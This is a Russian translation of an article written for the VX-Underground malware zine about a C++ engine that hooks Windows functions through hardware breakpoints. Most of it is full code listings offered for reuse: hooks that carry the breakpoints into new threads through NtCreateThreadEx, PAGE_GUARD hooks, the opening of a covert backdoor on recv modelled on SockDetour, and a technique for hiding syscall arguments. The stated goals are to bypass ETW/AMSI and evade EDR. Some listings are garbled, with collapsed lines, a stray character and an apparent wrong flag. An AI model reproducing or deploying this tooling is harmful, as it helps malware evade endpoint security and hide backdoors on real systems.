
Движок перехвата на аппаратных точках останова для Windows, который использует отладочные регистры для перехвата функций, обхода ETW/AMSI и уклонения от мониторинга EDR на уровне пользовательского режима.
Эта статья изначально была предназначена для VX-Underground Black Mass Halloween Edition 2022.
Механизмы перехвата:
Универсальная техника обхода для пользовательского режима x64 с использованием регистров отладки:
Доступны примеры хуков ETW/AMSI:
Наша задача — просто перехватывать функции и перенаправлять поток выполнения по мере необходимости, и в конце удалять хук, когда он больше не нужен.
Мы не можем рассчитывать на применение IAT-хуков, так как они вызываются не всегда и потому ненадёжны. Инлайн-хукинг — мощная техника; однако она требует, чтобы мы пропатчили память, где находится код. Это мощная техника, но такие инструменты, как PE-Sieve и Moneta, могут отличить резидентную в памяти копию модуля от его копии на диске и пометить это. Это оставляет нам идеальный инструмент для данной задачи: регистры отладки, хотя они весьма недооценены авторами вредоносного ПО!
В Windows, если рассматривать на высоком уровне, процесс — это, по сути, инкапсуляция потоков, и каждый из этих потоков поддерживает контекст, который является состоянием потока: регистры, стек и т.д. Регистры отладки — привилегированный ресурс, как и их установка; однако Windows предоставляет различные системные вызовы, которые позволяют нам запросить у ядра выполнение привилегированного действия от нашего имени; это включает установку регистров отладки, что идеально для нас. NtSetThreadContext и NtGetThreadContext предоставляют функциональность для изменения любого контекста потока, к которому мы можем открыть дескриптор с необходимыми привилегиями. Мы видим, как установить регистры отладки с помощью Win32 API.```c CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
// set our debug information in the Dr registers
SetThreadContext(thd, &context);
Существует 8 регистров отладки, от Dr0 до Dr7. Из них нас интересуют только
Dr0-3, в которые мы сохраняем адреса, где хотим установить точки останова, а Dr6 — это просто
статус отладки. Наиболее важен Dr7, который описывает условия точек останова, при
которых процессор выбрасывает исключение. При использовании регистров отладки есть
различные ограничения, например, ограниченное количество (4) и неприменимость ко всем
потокам/вновь создаваемым потокам. Мы постараемся устранить некоторые из этих ограничений!
Когда выбрасывается исключение, оно ищет обработчик исключений, который мы можем
определить и зарегистрировать в нашей программе [1]. В нашем определённом обработчике исключений
мы хотим, чтобы наш соответствующий код (различные ветви выполнения) выполнялся при срабатывании соответствующей точки останова.```c
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
{
// Look for our associated code flow relative to our RIP
if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
Это достигается с помощью конструктора, который устанавливает соответствие между лямбда-функцией "callback" и адресом. using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;```c typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
// Global std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
// Create our mapping HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos;
Мы должны перебрать все потоки нашего процесса и задать соответствующие корректировки
контекста для них. Это можно сделать с помощью вспомогательных функций ToolHelp32:
CreateToolhelp32Snapshot и Thread32Next. Ничего особенного, но это решает одно
из наших ограничений — невозможность прикрепления ко всем потокам.```c
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
DWORD pid{ GetCurrentProcessId() };
HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
if (h != INVALID_HANDLE_VALUE) {
THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
if (Thread32First(h, &te)) {
do {
if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
Наличие установленных аппаратных точек останова можно считать подозрительным, поскольку они могут указывать на вредоносную активность (хотя, насколько мне известно, ни один EDR активно их не сканирует). Они могут быть использованы против нас как потенциальный IoC, поэтому после завершения работы с ними мы должны удалить их следы.
Мы можем реализовать это в нашей функции-деструкторе!! Она будет перебирать все потоки и проверять, указывает ли регистр (&context.Dr0)[pos] на адрес, по которому мы изначально установили аппаратную точку останова (pos — это просто индекс % 4, дающий нам доступ к context.Dr0-Dr3). Мы также можем удалить условия, необходимые в регистре Dr7. Мы также должны не забыть удалить нашу запись отображения. Таким образом, наша аппаратная точка останова будет присутствовать только в течение требуемого времени!```c SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address);
Примером аппаратной точки останова может быть Sleep, где мы просто заменяем продолжительность сна
на 0.```c
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, // Set Dr 0
([&](PEXCEPTION_POINTERS ExceptionInfo) {
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
Нам известно, что нужно установить RCX согласно соглашению о вызове x64 Windows с четырьмя регистрами (fastcall)[1]. Первый аргумент конструктора — адрес, на котором нужно остановиться, второй — какой из регистров Dr0-3 использовать для хранения (учтите, что одновременно может быть только 4 адреса для остановки), а третий — лямбда-функция, которая захватывает по ссылке PEXCEPTION_POINTERS — информацию, получаемую обработчиком исключений. В конечном счёте это позволит нам по-разному управлять потоком программы в зависимости от того, какая точка останова была активирована.
При создании нового потока он не наследует связанный набор регистров отладки, если только нам не удастся каким-то образом перехватить создание нового потока! Один из удобных приёмов — захватить фактический стартовый адрес и перенаправить новый поток на создание нашего собственного потока. Большинство новых потоков в конечном итоге вызывают NtCreateThreadEx.```c // Global Variable PVOID START_THREAD{ 0 };
// capture original start address HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) {
// save original thread address
START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
// set the start address to our thread address
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
DWORD WINAPI HijackThread(LPVOID lpParameter) { typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);
// Set required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
// restore execution to original thread
return ((typeThreadProc)START_THREAD)(lpParameter);
}
Одно ограничение этого решения заключается в том, что стек вызовов для потока будет начинаться в HijackThread нашей внедрённой DLL, а не в исходном потоке! Альтернативно, лучшим решением было бы вызвать NtCreateThreadEx самостоятельно, но запустить его в приостановленном состоянии, а затем установить необходимые аппаратные точки останова. Затем мы восстанавливаем выполнение, возобновляя приостановленный поток с установленными регистрами отладки для этого нового потока. Это также устранит другое ограничение использования регистров отладки.
Вызов инструкции, на которой установлена наша точка останова, привёл бы к бесконечному циклу; поэтому мы временно отключаем аппаратную точку останова, отвечающую за срабатывание на текущем RIP. Затем, когда мы закончим выполнять вызов, мы можем восстановить её. Это позволит нам вызвать исходную функцию (как трамплин). В этом случае мы должны указать наш RIP на ret-гаджет, чтобы он мог вернуться и не выполнять ещё одну инструкцию syscall.
5-й параметр и далее можно найти помещённым в стек с интервалом в 0x8 байт [2]. Когда мы вызываем срабатывание точки останова, наш стек выглядит примерно так.```
___________________________
| |
| 0x8 + lpBytesBuffer |
|___________________________|
| |
| 0x8 + SizeOfStackReserve |
|___________________________|
| |
| 0x8 + SizeOfStackCommit |
|___________________________|
| |
| 0x8 + StackZeroBits |
|___________________________|
| |
| 0x8 + Flags |
|___________________________|
| |
| 0x8 + lpParameter |
|___________________________|
| |
| 0x8 + lpStartAddress |
RSP + 0x28 +-> |___________________________|
| |
| |
| | R9 +-> (HANDLE)ProcessHandle
| 0x20 + Shadow Store | R8 |-> (PVOID) ObjectAttributes
| | RDX |-> (ACCESS_MASK) DesiredAccess
| | RCX +-> (PHANDLE) hThread
|___________________________|
| |
| 0x8 + Call Ret Addr | RIP +-> NtCreateThreadEx
RSP +-> |___________________________|
// Find our ret ROP gadget
uintptr_t FindRetAddr(const uintptr_t function)
{
BYTE stub[]{ 0xC3 };
for (unsigned int i = 0; i < (unsigned int)25; i++)
{
// do not worry this will be optimized
if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
return (function + i);
}
}
return NULL;
}
typedef LONG(NTAPI* typeNtCreateThreadEx)(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
"NtCreateThreadEx"), 1,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
// temporary disable of NtCreateThreadEx in our current thread.
for (auto& i : HWBP_ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
// create the original thread BUT suspended
// THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001
// ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED)
LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
(PVOID)ExceptionInfo->ContextRecord->R8,
(HANDLE)ExceptionInfo->ContextRecord->R9,
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
);
CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
// Setup required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
(&context.Dr0)[i.second.pos] = i.first;
context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
context.Dr7 |= 1ull << (2 * i.second.pos);
}
SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));
// restore our HWBP on NtCreateThreadEx
for (auto& i : HWBP_ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
// RAX contains the return value.
ExceptionInfo->ContextRecord->Rax = status;
// Set RIP to a ret gadget to avoid creating
// another new thread (skip syscall instruction)
ExceptionInfo->ContextRecord->Rip =
FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };
Я делюсь движком перехвата аппаратных точек останова (hardware breakpoint), который вы можете использовать, написанным на C++. В примере аппаратная точка останова устанавливается в Dr0 на функции sleep и задаёт первое значение (в RCX) равным 0, пропуская все sleep. Чтобы установить эту точку останова во всех будущих новых потоках, вы можете использовать приведённый выше пример, в котором используется Dr1.```c ////////////////////////////////////////////////////////////////////////////////////////// /* HWBPP.cpp - @rad9800 / / C++ Hardware Breakpoint Library (DLL example) */ ////////////////////////////////////////////////////////////////////////////////////////// // dllmain.cpp : Defines the entry point for the DLL application. // /std:c++20 #include "pch.h" #include <windows.h>
#include <tlhelp32.h> #include
using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
const HANDLE thd =
OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address } , pos{idx % 4} { SetHWBPS(address, pos);
HWBP_ADDRESS_MAP[address].func = function;
HWBP_ADDRESS_MAP[address].pos = pos;
};
VOID RemoveHWBPS()
{
SetHWBPS(address, pos, false);
HWBP_ADDRESS_MAP.erase(address);
}
~HWBP()
{
RemoveHWBPS();
}
private: const uintptr_t address; UINT pos; };
// Global Scope HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, ([&](PEXCEPTION_POINTERS ExceptionInfo) { ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); }) }; ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// extern "C" BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { HANDLE handler = NULL; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { handler = AddVectoredExceptionHandler(1, ExceptionHandler); }; break; case DLL_THREAD_ATTACH: { } break; case DLL_THREAD_DETACH: {
}; break;
case DLL_PROCESS_DETACH: {
if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}; break;
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
Как мы уже обсуждали ранее, держать набор регистров отладки постоянно зарезервированным — плохая практика. Поэтому мы дополним использование регистров отладки хуками PAGE_GUARD, что позволит нам освободить один из регистров отладки: Dr1 (используемый для NtCreateThreadEx).
PAGE_GUARD — это, по сути, одноразовая защита памяти, которая вызывает исключение. Они применяются к страницам на самом низком уровне гранулярности выделения памяти, присутствующем в системе (что иногда может оказаться помехой). Хуки через PAGE_GUARD не являются чем-то новым, но мы можем использовать их для решения некоторых наших ограничений. Изначально мы применим PAGE_GUARD к адресу, и PAGE_GUARD сработает путём выбрасывания исключения PAGE_GUARD_VIOLATION.
VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
Мы можем применить ту же концепцию сопоставления лямбды для срабатывания по конкретному адресу. Мы будем выполнять пошаговый проход по инструкциям функции на нашей текущей странице, заново применяя PAGE_GUARD. Это, очевидно, сравнительно медленно, но имеет преимущество в виде отсутствия необходимости резервировать регистр отладки. Именно из-за медлительности мы отказались от их основного использования.```c
typedef struct {
EXCEPTION_FUNC func;
} PG_CALLBACK;
std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };
PG_ADDRESS_MAP[address].func = function;
Чтобы применить хуки отладочных регистров к новым потокам, можно просто скопировать предыдущий пример хука NtCreateThreadEx, но убрать циклы, в которых мы снимаем и восстанавливаем HWBPs для нашего текущего потока.
Можно привести второй пример кода, где мы выполняем упомянутый выше хук NtCreateThreadEx с PAGE_GUARDs. Как и раньше, наша функция-деструктор удалит запись из нашего сопоставления и снимет защиты (если они установлены).```c
////////////////////////////////////////////////////////////////////////////////////////// /* DRPGG.cpp - @rad9800 */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>
#include <tlhelp32.h> #include // std::function
using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
typedef struct { EXCEPTION_FUNC func; } PG_CALLBACK;
typedef LONG(NTAPI* typeNtCreateThreadEx)( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer );
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 }; std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// // Find our ret ROP gadget uintptr_t FindRetAddr(const uintptr_t function) { BYTE stub[]{ 0xC3 }; for (unsigned int i = 0; i < (unsigned int)25; i++) { if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) { return (function + i); } } return NULL; }
VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { DWORD old = 0; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) { if (PG_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { PG_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); } ExceptionInfo->ContextRecord->EFlags |= (1 << 8); return EXCEPTION_CONTINUE_EXECUTION; } else if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } for (const auto& i : PG_ADDRESS_MAP) { VirtualProtect((LPVOID)i.first, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }
DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); Sleep(500000);
return 0;
}
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address }, pos{ idx % 4 } { SetHWBPS(address, pos);
HWBP_ADDRESS_MAP[address].func = function;
HWBP_ADDRESS_MAP[address].pos = pos;
};
VOID RemoveHWBPS()
{
SetHWBPS(address, pos, false);
HWBP_ADDRESS_MAP.erase(address);
}
~HWBP()
{
RemoveHWBPS();
}
private: const uintptr_t address; UINT pos; };
template struct PGBP { public: PGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, address{ address } {
VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
PG_ADDRESS_MAP[address].func = function;
}
VOID RemovePGEntry()
{
VirtualProtect((LPVOID)address, 1, old, &old);
PG_ADDRESS_MAP.erase(address);
}
~PGBP()
{
RemovePGEntry();
}
private: DWORD old; const uintptr_t address; };
////////////////////////////////////////////////////////////////////////////////////////// /* Entry Point */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler{ AddVectoredExceptionHandler(1, ExceptionHandler) };
HWBP HWBPSleep{
(uintptr_t)&Sleep,
1,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
printf("Sleeping %lld\n", ExceptionInfo->ContextRecord->Rcx);
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
PGBP VEHNtCreateThreadEx{
(uintptr_t)GetProcAddress(
GetModuleHandle(L"NTDLL.dll"),
"NtCreateThreadEx"
),
([&](PEXCEPTION_POINTERS ExceptionInfo) {
// create a new thread suspended
LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
(PVOID)ExceptionInfo->ContextRecord->R8,
(HANDLE)ExceptionInfo->ContextRecord->R9,
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
);
CONTEXT context{ 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
for (auto& i : HWBP_ADDRESS_MAP) {
(&context.Dr0)[i.second.pos] = i.first;
context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
context.Dr7 |= 1ull << (2 * i.second.pos);
}
SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));
ExceptionInfo->ContextRecord->Rax = status;
ExceptionInfo->ContextRecord->Rip =
FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };
Sleep(1000000);
for (unsigned int i = 0; i < 2; ++i) {
HANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL);
if (t) WaitForSingleObject(t, INFINITE);
}
if (handler) RemoveVectoredExceptionHandler(handler);
}
////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
Применив теорию для создания универсального движка перехвата через аппаратные точки останова, мы продолжим использовать смесь регистров отладки и PAGE_GUARD, как показано в наших предыдущих примерах, чтобы реализовать бэкдор, вдохновлённый SockDetour [3], в виде DLL на C++. Для этого мы установим аппаратную точку останова на функцию recv и построим необходимую логику в соответствующей лямбде. Мы также применим PAGE_GUARD к NtCreateThreadEx и воспользуемся нашей прежней техникой создания потока в приостановленном состоянии, чтобы установить нужные регистры отладки.
Несмотря на медлительность PAGE_GUARD-хуков, это не должно быть проблемой, если серверная модель не создаёт новый поток для каждого запроса, что приводило бы к неоптимальной производительности. Большинство сетевых серверных моделей поддерживают пул потоков, которые запускаются и инициализируются при старте программы. Для более глубокого понимания этих серверных моделей Microsoft предоставляет множество примеров на Github [4]; пример IOCP — отличная иллюстрация того, как выглядит производительная и масштабируемая серверная модель для контекста.
Начало вашего бэкдора может выглядеть так:
HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L"WS2_32.dll"), GetModuleHandle(L"WS2_32.dll")),"recv"), 3, ([&](PEXCEPTION_POINTERS ExceptionInfo) {
for (auto& i : ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
char verbuf[9]{ 0 };
int verbuflen{ 9 }, recvlen{ 0 };
recvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf,
verbuflen, MSG_PEEK);
BYTE TLS[] = { 0x17, 0x03, 0x03 };
if (recvlen >= 3) {
if ((memcmp(verbuf, TLS, 3) == 0))1
{
MSG_AUTH msg{ 0 };
// We'll peek like SockDetour as to not eat the message
recvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg,
sizeof(MSG_AUTH), MSG_PEEK);
// Authenticate and proceed
}
}
// Set corresponding Dr
for (auto& i : ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
}
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
В завершение мы реализуем универсальную технику обхода в пользовательском режиме для x64, вдохновлённую TamperingSyscalls, которая использует соответствующим образом модифицированную версию аппаратных точек останова из ранее показанного движка, чтобы скрывать до 12 аргументов любых 4 Nt-сисколов одновременно в каждом потоке. Обратите внимание: я решил не распространять содержимое регистров отладки на все потоки, так как это, скорее всего, было бы нежелательно (при желании замените SetHWBP на SetHWBPS).
Мне не нужно объяснять, почему это было бы желательно и супер-ЭПИЧНО, а также углубляться в хукинг в пользовательском режиме: это не текущие темы и не вызывают беспокойства, к тому же они уже неоднократно подробно освещались [5].
Мы создаём новое отображение, используя (address | ThreadID) в качестве уникального ключа, а значением является структура, содержащая аргументы функции. Мы создадим новую запись в нашем отображении при входе в сискол и обнулим значения в регистрах и стеке.
Мы используем одиночный шаг (через флаг трассировки), чтобы притвориться, будто у нас больше регистров отладки, чем на самом деле. Мы МОЖЕМ это сделать, поскольку знаем, когда и где должны произойти конкретные действия.
Когда мы попадаем на нужный адрес сискола, мы восстанавливаем значения из записи hashmap, связанной с нашим ключом. Это вернёт значения из стека в регистры. Затем мы продолжаем одиночный шаг до инструкции возврата, где прекращаем пошаговое выполнение и продолжаем работу!
В конечном счёте это позволяет нам бестиповый хукинг. Более того, изначально мы указали, что будем скрывать только 12 аргументов: 4 из регистров и 8 из стека. Это значение «8» произвольно, но рекомендовано: скрытие или изменение большего количества значений/аргументов в стеке может привести к нежелательному поведению.
